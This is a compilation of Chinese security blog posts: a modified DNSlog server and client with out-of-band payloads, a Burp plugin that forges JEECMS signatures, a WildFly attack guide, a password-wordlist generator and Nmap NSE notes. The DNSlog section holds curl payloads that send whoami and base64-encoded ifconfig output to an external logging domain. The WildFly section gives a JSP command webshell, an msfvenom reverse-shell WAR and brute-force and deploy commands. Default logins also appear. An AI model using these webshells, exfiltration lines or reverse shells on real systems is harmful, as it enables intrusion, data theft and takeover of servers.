DnsLog的改造和自动化调用

0x01 DNSlog的改造

一切为了自动化,想要在各种远程命令执行的poc中顺利使用DNSlog,对它进行了改造,新增了三个API接口:

http://127.0.0.1:8000/apilogin/{username}/{password}/
#http://127.0.0.1:8000/apilogin/test/123456/
#登陆以获取token

http://127.0.0.1:8000/apiquery/{logtype}/{subdomain}/{token}/
#http://127.0.0.1:8000/apiquery/dns/test/a2f78f403d7b8b92ca3486bb4dc0e498/
#查询特定域名的某类型记录

http://127.0.0.1:8000/apidel/{logtype}/{udomain}/{token}/
#http://127.0.0.1:8000/apidel/dns/test/a2f78f403d7b8b92ca3486bb4dc0e498/
#删除特定域名的某类型记录

改造后的项目地址:https://github.com/bit4woo/DNSLog

0x02 本地接口类

服务端OK了之后,为了在PoC中快速调用,也在本地实现了一个类:

# !/usr/bin/env python
# -*- coding:utf-8 -*-
__author__ = 'bit4'
__github__ = 'https://github.com/bit4woo'

import hashlib
import time
import requests
import json

class DNSlog():
    def __init__(self,subdomain=None):
        if subdomain == None:
            self.subdomain = hashlib.md5(time.time()).hexdigest()
        else:
            self.subdomain = subdomain
        self.user_host = "test.code2sec.com"
        #self.user_host = "127.0.0.1:8000"
        self.api_host = "admin.code2sec.com"
        #self.api_host = "127.0.0.1:8000"
        self.token = ""
        self.username= "test"
        self.password = "123456"
        self.login()

    def gen_payload_domain(self):
        domain = "{0}.{1}".format(self.subdomain, self.user_host)
        return domain

    def gen_payload(self):
        domain ="{0}.{1}".format(self.subdomain,self.user_host)
        poc = "ping -n 3 {0} || ping -c 3 {1}".format(domain, domain)
        return poc

    def login(self,username=None,password=None):
        if username == None:
            username = self.username
        if password == None:
            password = self.password
        url = "http://{0}/apilogin/{1}/{2}/".format(self.api_host,username,password)
        print("DNSlog Login: {0}".format(url))
        response = requests.get(url, timeout=60, verify=False, allow_redirects=False)
        if response.status_code ==200:
            token = json.loads(response.content)["token"]
            self.token = token
            return True
        else:
            print("DNSlog login failed!")
            return False

    def query(self,subdomain,type="dns",token=None,delay=2):
        time.sleep(delay)
        if token ==None and self.token != "":
            token = self.token
        else:
            print("Invalid Token!")
            return False
        if type.lower() in ["dns","web"]:
            pass
        else:
            print("error type")
            return False
        url = "http://{0}/apiquery/{1}/{2}/{3}/".format(self.api_host,type,subdomain,token)
        print("DNSlog Query: {0}".format(url))
        try:
            rep = requests.get(url, timeout=60, verify=False, allow_redirects=False)
            return json.loads(rep.content)["status"]
        except Exception as e:
            return False

    def delete(self, subdomain,type="dns", token =None):
        if token ==None and self.token != "":
            token = self.token
        else:
            print("Invalid Token!")
            return False
        if type.lower() in ["dns","web"]:
            pass
        else:
            print("error type")
            return False
        url = "http://{0}/apidel/{1}/{2}/{3}/".format(self.api_host, type, subdomain, token)
        print("DNSlog Delete: {0}".format(url))
        try:
            rep = requests.get(url, timeout=60, verify=False, allow_redirects=False)
            return json.loads(rep.content)["status"]
        except Exception as e:
            return False


if __name__ == "__main__":
    x = DNSlog("xxxx")
    x.login("test","123456")
    x.query("dns","123",x.token)
    x.delete("dns","123",x.token)

调用流程:

  1. 首先实例化DNSlog类,如果有传入一个字符串,这个字符串将被当作子域名,如果没有将生成一个随机的
  2. 调用gen_payload_domain()或者gen_payload()来返回域名或者"ping -n 3 {0} || ping
    -c 3 {1}"格式的payload
  3. 调用login()接口实现登陆,然后获取token,如果有传入账号和密码,将使用传入的,否则使用默认的
  4. 在使用生成的域名或者payload进行检测之前,建议先调用delete()来清除域名相关记录,避免误报
  5. PoC中使用payload进行请求
  6. 使用query()检查DNSlog是否收到该域名的相关请求,有则认为命令执行成功漏洞存在,否则任务不存在。

0x03 使用Docker搭建DnsLog服务器

感谢草粉师傅的帮助

域名和配置

搭建并使用 DNSLog,需要拥有两个域名:

1.一个作为 NS 服务器域名(例:polaris-lab.com):在其中设置两条 A 记录指向我们的公网 IP 地址(无需修改DNS服务器,使用运营商默认的就可以了):

ns1.polaris-lab.com  A 记录指向  10.11.12.13
ns2.polaris-lab.com  A 记录指向  10.11.12.13

2.一个用于记录域名(例: code2sec.com):修改 code2sec.com 的 NS 记录为 1 中设定的两个域名(无需修改DNS服务器,使用运营商默认的就可以了):

NS  *.code2sec.com   ns1.polaris-lab.com
NS  *.code2sec.com   ns2.polaris-lab.com

注意:按照dnslog的说明是修改NS记录,但是自己的部署中修改了好几天之后仍然不正常,就转为修改DNS服务器,而后成功了。修改DNS服务器之后就无需在域名管理页面设置任何DNS记录了,因为这部分是在DNSlog的python代码中实现的。

changeNameServer.png

Docker镜像构造

Dockerfile内容如下:

FROM ubuntu:14.04

RUN sed -i 's/archive.ubuntu.com/mirrors.ustc.edu.cn/g' /etc/apt/sources.list

RUN apt-get update -y && apt-get install -y python && apt-get install python-pip -y && apt-get install git -y
RUN git clone https://github.com/bit4woo/DNSLog
WORKDIR /DNSLog/dnslog
RUN pip install -r requirements.pip

COPY ./settings.py /DNSLog/dnslog/dnslog/settings.py

COPY ./start.sh /DNSLog/dnslog/start.sh
RUN chmod +x start.sh
CMD ["./start.sh"]

EXPOSE 80

下载 dnslog/dnslog/settings.py并对如下字段进行对应的修改,保存settings.py:

# 做 dns 记录的域名
DNS_DOMAIN = 'code2sec.com'

# 记录管理的域名, 这里前缀根据个人喜好来定
ADMIN_DOMAIN = 'admin.code2sec.com'

# NS域名
NS1_DOMAIN = 'ns1.polaris-lab.com'
NS2_DOMAIN = 'ns2.polaris-lab.com'

# 服务器外网地址
SERVER_IP = '10.11.12.13'

创建一个dnslog的启动脚本,保存为start.sh:

#!/bin/bash
python manage.py runserver 0.0.0.0:80

准备好如上3个文件后,可以构建镜像了

docker build .
docker tag e99c409f6585 bit4/dnslog
docker run -d -it -p 80:80 -p 53:53/udp bit4/dnslog
#注意这个53udp端口,感谢CF_HB师傅的指导

docker exec -it container_ID_or_name /bin/bash
./start.sh

配置验证

使用nslookup命令进行验证,如果可以直接测试xxx.test.code2sec.com了,说明所有配置已经全部生效;如果直接查询失败,而指定了dns服务器为 ns1.polsris-lab.com查询成功,说明dns服务器配置正确了,但是ns记录的设置需要等待同步或者配置错误。

nslookup
xxx.test.code2sec.com
server ns1.polaris-lab.com
yyy.test.code2sec.com

当然,在查询的同时可以登录网页端配合查看,是否收到请求。

在我自己的部署中,发现修改ns记录很久后仍然不能直接查询到 xxx.test.code2sec.com,想到NS记录配置和DNS服务器设置都是修改解析的域名的服务器配置,就尝试修改了DNS服务器为 ns1.polaris-lab.com, 结果就一切正常了。

管理网站

后台地址:http://code2sec.com/admin/ admin admin

用户地址:http://admin.code2sec.com/ test 123456

更多详细问题参考项目:https://github.com/BugScanTeam/DNSLog

记得修改默认的账号密码!

0x04 Payload使用技巧

||兼容windows和linux

ipconfig || ifconfig
#||是或逻辑, 如果第一个命令执行成功,将不会执行第二个;而如果第一个执行失败,将会执行第二个。

使用实例:
ping -n 3 xxx.test.code2sec.com || ping -c 3 xxx.test.code2sec.com

命令优先执行

%OS%
#windows的系统变量,用set命令可以查看所有可用的变量名称
`whomai` 
#linux下的命令优先执行,注意是反引号(`)这个字符一般在键盘的左上角,数字1的左边

测试效果如下:
root@ubuntu:~# echo `whoami`@bit4
root@bit4

E:\>echo %OS%@bit4
Windows_NT@bit4

使用实例:
curl "http://xxx.test.code2sec.com/?`whoami`"
ping -c 3 `ifconfig en0|grep "inet "|awk '{print $2}'`.test.code2sec.com
#DNS记录中获取源IP地址

command_first.png

消除空格

id|base64

使用实例:
curl test.code2sec.com/`ifconfig|base64 -w 0` 
#-w 0 输出内容不换行,推荐这个方法
curl test.code2sec.com/`ifconfig|base64|tr '\n' '-'`
#将换行符替换为-,这个方法不是很方便,解密的时候还需要替换回来

base64.png

window下的curl

start http://xxxxxxxxx.test.code2sec.com
#该命令的作用是通过默认浏览器打开网站,缺点是会打开窗口

常用Payload汇总

#1.判断系统类型
ping `uname`.code2sec.com || ping %OS%.code2sec.com

#2.通用ping,dns类型payload
ping -n 3 xxx.code2sec.com || ping -c 3 xxx.code2sec.com

C:\Windows\System32\cmd.exe /c "ping -n 3 test.com || ping -c 3 test.com"
/bin/bash -c "ping -n 3 test.com || ping -c 3 test.com"

#3.从DNS记录中获取源IP地址
ping -c 3 `ifconfig en0|grep "inet "|awk '{print $2}'`.test.code2sec.com

#4.获取命令结果
curl test.code2sec.com/`ifconfig|base64 -w 0`

BurpSuite插件:JEECMS签名助手

题外话

18年想提高一下自己的代码审计能力,重点放在Java系和Python系。Java是我入门学习的第一门语言也是大学陪伴最久的,会一直爱下去。Python是我用的最多最喜欢的,Python是世界上最好的语言。

起因&签名分析

写这个插件的原因是在测试JEECMS后台时,用BurpSuite修改了一个参数的,在返回结果中看到提示了签名错误,如下图:

201801191516329998864170.png

很明显这里后端对参数做了签名验证,其中请求中对参数sign就是签名的hash. 于是Debug来看看。

先修改参数:

20180119110514151633111462067.png

通过下断点,发现后端会将请求参数全部拿来做签名计算,签名计算就是一个MD5计算,其中的appKey会被拼接到字符串后面,然后对字符串做一次MD5计算,这个MD5值会与前端传过来的sign判断是否一致,如果一致则签名判断通过,不一致则说明参数被篡改了。

20180119110527151633112751998.png

签名计算方式:

20180119112150151633211025608.png

现在唯一的问题就是,随意一个JEECMS的站,那个appKey怎么知道呢?这个Key是admin用户的唯一值,在数据库位置:

20180119112842151633252277458.png

我们知道sign是签名hash那么,参数是在前端经过签名的,那么前端一定有这个appKey的值,于是打开F12在JS文件中可以找到这个值。

20180119113410151633285095854.png

官方Demo站:

20180119113402151633284224809.png

签名插件编写

我们知道了签名校验方式和过程了,现在就知道怎么写这个BurpSuite插件了。

  1. 将请求参数拦截下来
  2. 将参数+appKey进行拼接并做MD5计算
  3. 用新的hash替换参数sign的值
  4. BurpSuite发出请求,成功返回

编写BurpSuite插件Python版本代码如下:

from burp import IBurpExtender
from burp import IHttpListener
from java.io import PrintWriter
import hashlib
import urllib

print "Hack Jeecms Sign By Nerd."

class BurpExtender(IBurpExtender, IHttpListener):
    def registerExtenderCallbacks(self, callbacks):

        self._callbacks = callbacks
        self._helpers = callbacks.getHelpers()
        callbacks.setExtensionName("Hack JeeCMS Sign")
        callbacks.registerHttpListener(self)
        self.stdout = PrintWriter(callbacks.getStdout(), True)
        self.stderr = PrintWriter(callbacks.getStderr(), True)
        callbacks.issueAlert("Loaded Successfull.")

    def processHttpMessage(self, toolFlag, messageIsRequest, currentRequest):
        if messageIsRequest:

            requestInfo = self._helpers.analyzeRequest(currentRequest)

            self.headers = list(requestInfo.getHeaders())
            hook_host = requestInfo.getUrl().getHost()

            bodyBytes = currentRequest.getRequest()[requestInfo.getBodyOffset():]
            self.body = self._helpers.bytesToString(bodyBytes)

            o,n = self.update_sign(urllib.unquote(self.body))
            self.body = self.body.replace(o,n)
            print self.body
            newMessage = self._helpers.buildHttpMessage(self.headers, self.body)
            currentRequest.setRequest(newMessage)

        # Process responses
        else:
            pass

    def update_sign(slef, body=""):
        try:
            old_sign = ""
            # defalut appKey
            appKey = "Sd6qkHm9o4LaVluYRX5pUFyNuiu2a8oi"
            #appKey = "uicxsXYso7DJxlrFdgQnVVXW5OCzU74h"

            hash_param = ""
            param_list = body.split("&")

            temp_dict = {}
            for pa in param_list:
                t = pa.split("=")
                temp_dict[t[0]] = t[1]

            tmmmm = temp_dict.items()

            tmmmm.sort()
            for (k, v) in tmmmm:
                if k == "sign":
                    old_sign = v
                    print "old sign = ",v
                    continue
                hash_param += "%s=%s&" % (k, v)

            hash_param += "key=" + appKey
            sign = hashlib.md5(hash_param).hexdigest()
            print "new sign = ",sign.upper()
            return old_sign,sign.upper()
        except Exception, e:
            print e
            return "",""

效果

模拟对JEECMS后台进行爆破攻击,没有加载插件之前是这样对效果:全部提示签名错误

201801191516339127197513.png

加载插件以后:

201801191516339413839646.png

加载插件后,长度640为签名错误的情况,仅有2次签名错误,通过这个插件就可以爆破,SQL注入等为所欲为的操作了。

代码GitHub地址

HackSign.py

Hacking WildFly

前言

前段时间做项目碰到的,研究了下。一些拙见,欢迎指正-:)

简介

Wildfly是一个基于Java的应用服务器,Wildfly是Redhat在2013年为JBoss AS项目起的新名称。改名后的首个版本为WildFly8,目前已经发布到了11.0.0.Final版本。这里不得不提JBoss EAP:

  • JBoss EAP < 7 (Wildfly < 10)
  • JBoss EAP >=7 (Wildfly >= 10)

了解更多:http://www.wildfly.org

服务发现与爆破

发现

Wildfly的默认端口为8080 ,Administrator Console的端口为9990 。可以匿名登录,服务识别可以使用Nmap或者其他同类型的工具扫描指定端口即可。

Nmap NSE脚本:

nmap ‐‐script wildfly‐detect 127.0.0.1

wildfly-detect.png

OpenVAS识别WildFly及其版本的脚本:http://plugins.openvas.org/nasl.php?oid=111036

爆破

使用Nmap NSE脚本:

nmap ‐p 9990 ‐‐script wildfly‐brute ‐‐script‐args "userdb=user.txt,passdb=pass.txt,hostname=domain.com" <target>

wildfly-brute.png

漏洞

Wildfly发布至今也未出现什么重大漏洞,少有几个RCE也没用公开能利用的PoC。

其中有个WildFly 8.1.0.Final目录遍历漏洞(CVE-2014-7816)的MetaSploit模块:

msf > use auxiliary/scanner/http/wildfly_traversal
msf auxiliary(wildfly_traversal) > show actions
msf auxiliary(wildfly_traversal) > set ACTION <action‐name>
msf auxiliary(wildfly_traversal) > show options
msf auxiliary(wildfly_traversal) > run

OpenVAS的JBoss WildFly Application Server RCE检测脚本:http://plugins.openvas.org/nasl.php?oid=806623看了下是受Java反序列化漏洞影响的一些版本。

还有个9.0.0.CR2之前的WildFly 9.x版本Undertow模块和10.0.0.Alpha1之前的10.x版本可以通过在URL末尾添加/来获取JSP页面源码的漏洞:https://stackoverflow.com/questions/30028346/with-trailing-slash-in-url-jspshow-source-code

http://localhost:8080/TaskManager/login.jsp/

WAR Backdoor&部署

WAR Backdoor

Wildfly并不能像Tomcat一样利用部署WAR后门,也无法使用Tomcat或Glassfish类型的.WAR后门文件。阅读官方文档之后发现Wildfly所使用的的WAR文件需要存在WEB-INF目录并且在WEB-INF目录下创建个自定义的jbossweb.xml文件,jboss-web.xml文件必须包含如下内容:

<?xml version="1.0" encoding="UTF‐8"?>
<jboss‐web xmlns="http://www.jboss.com/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema‐instance" xsi:schemaLocation="
http://www.jboss.com/xml/ns/javaee http://www.jboss.org/j2ee/schema/jboss‐web_5_1.xsd">
<context‐root>/WebShell</context‐root>
</jboss‐web>

其中<context-root>标签为应用程序目录,则上传部署完WAR文件之后访问的路径为:

http://127.0.0.1:8080/shellDirectory/shell.jsp

这里我们可以利用cmd.jsp来制作WAR文件,方便绕过一些WAF还有IDS:

<%@ page import="java.util.*,java.io.*"%>
<%
if (request.getParameter("cmd") != null) {
out.println(request.getParameter("cmd"));
Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr);
disr = dis.readLine();
}
}
%>

MetaSploit:

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<your-ip> LPORT=445 -f war > reverse-shell.war

部署

获得凭证后登陆Administrator Console选择Deployments选项卡 - Add上传部署并Enable启用,这边演示的是9.0.0版本:

1712211917ee775b7e7fbfd781.png

版本直接有少许差异,找到Deployments选项卡即可。

工具

爆破

python wildPwn.py ‐m brute ‐‐target <TARGET> ‐user <USERNAME LIST> ‐pass <PASSWORD LIST>

wildpwn.png

部署反弹Shell

python wildPwn.py -m deploy --target <TARGET> --port <PORT> -u <USERNAME> -p <PASSWORD>

wildpwn (1).png

References

[更新支持图形界面] PassMaker:可以自定义规则的密码字典生成器

0x01 项目地址

https://github.com/bit4woo/passmaker

0x02目的

该脚本的主要目标是根据定制的规则来组合生成出密码字典,主要目标是针对企业,希望对安全人员自查“符合密码策略的若密码”有所帮助。

0x03 规则

程序的核心是密码规则的指定,比如:

  • domain+常规弱密码
  • domain+键盘弱密码
  • domain+特殊字符+常规弱密码
  • domain+特殊字符+年份
    ……等等

0x04 使用

方法一:通过config.py

通过修改config.py中的参数,然后直接运行python passmaker.py来生成密码字典。

screnshot_config.png

其实详细说明已经写在配置文件的注释中了,如下:

#第一步,定义种子(seed),密码的基本组成部分
domain= ["baidu.com","baidu","Baidu.com","BaiDu.com"]
year = ["2016","2017","2018"]
special_letter = ["!","@","#","$","%",]
common_weak_pass = open('./seed/weak_pass_top100.txt').readlines()
keyboard_walk = open('./seed/4_keyboard_walk.txt').readlines()
#domain_capitalize = False #域名首字母大写处理


#第二步,定义密码的组成规则,list中的一个元素代表一个规则
rule = ["domain+special_letter+year","domain+special_letter+keyboard_walk","domain+special_letter+common_weak_pass"]
keep_in_order = False #以上的规则,是否保持原顺序,如果为False 将对每个规则中的seed进行排列组合后生产密码。



#第三步,对以上生成的密码再进行一些变形处理
capitalize = True  #是否进行首字母大写处理
leet = False       #是否进行变形处理,即通过下方的字典进行对应的字母替换
leet2num = {"a":"4",
            "i":"1",
            "e":"3",
            "t":"7",
            "o":"0",
            "s":"5",
            "g":"9",
            "z":"2"}

leet2string ={
            "O" : "()",
            "U" : "|_|",
            "D" : "|)",
            "W" : "\/\/",
            "S" : "$",
            }


#第四步,根据以下密码规则约束,对以上生成的密码进行过滤处理,删除不满足条件的记录
min_lenth =8
need_upper_letter = False
need_lower_letter = True
need_special_char = False
need_nummber = False
#大写字母、小写字母、特殊符号、数字,四种包含三种---常见的密码要求
kinds_needed = 3  #四者包含其三

方法二:命令行交互

通过运行python passmaker.py -i来通过交互模式配置其中参数,然后生成密码字典。

screnshot.png

方法三:图形界面

通过运行python passmaker.py -g来启用图形界面配置其中参数,然后运行生成密码字典。

screnshot_gui.png

如果有好的建议,欢迎通过issue提交给我,谢谢!

[持续更新] 精通Nmap脚本引擎

写在前面的话

本书主要介绍NSE脚本的编写,书中内容来源主要是Paulino CalderÓn Pale的著作《Mastering Nmap Scripting Engine》和互联网上的一些公开文章,为了对原作者的尊重,文章中其他的引用的内容均标注出来。

本书不是《Mastering Nmap Scripting Engine》的中文翻译版,你可以理解为是为学习这本书和实战中的一系列笔记。

首先,感谢nmap.org,为业界提供了一款如此好用的软件。

其次,感谢《Mastering Nmap Scripting Engine》的作者,让我更深入地了解Nmap。

最后,感谢Ronen,他编写的nmap4j很好。

以上,是为引子。

感谢您的阅读,阅读过程中,如果需要交流讨论,欢迎发送邮件到 t0data@hotmail.com

已更新的章节内容

第一章 Nmap脚本简介

  • Nmap脚本分类
  • Nmap脚本使用方式
  • Nmap脚本参数的使用
  • debug的使用

第二章 NSE脚本开发环境

  • 开发环境安装
  • Halcyon IDE 配置
  • 如何新增NSE脚本

GitBook在线地址

https://www.gitbook.com/book/t0data/nmap-nse/details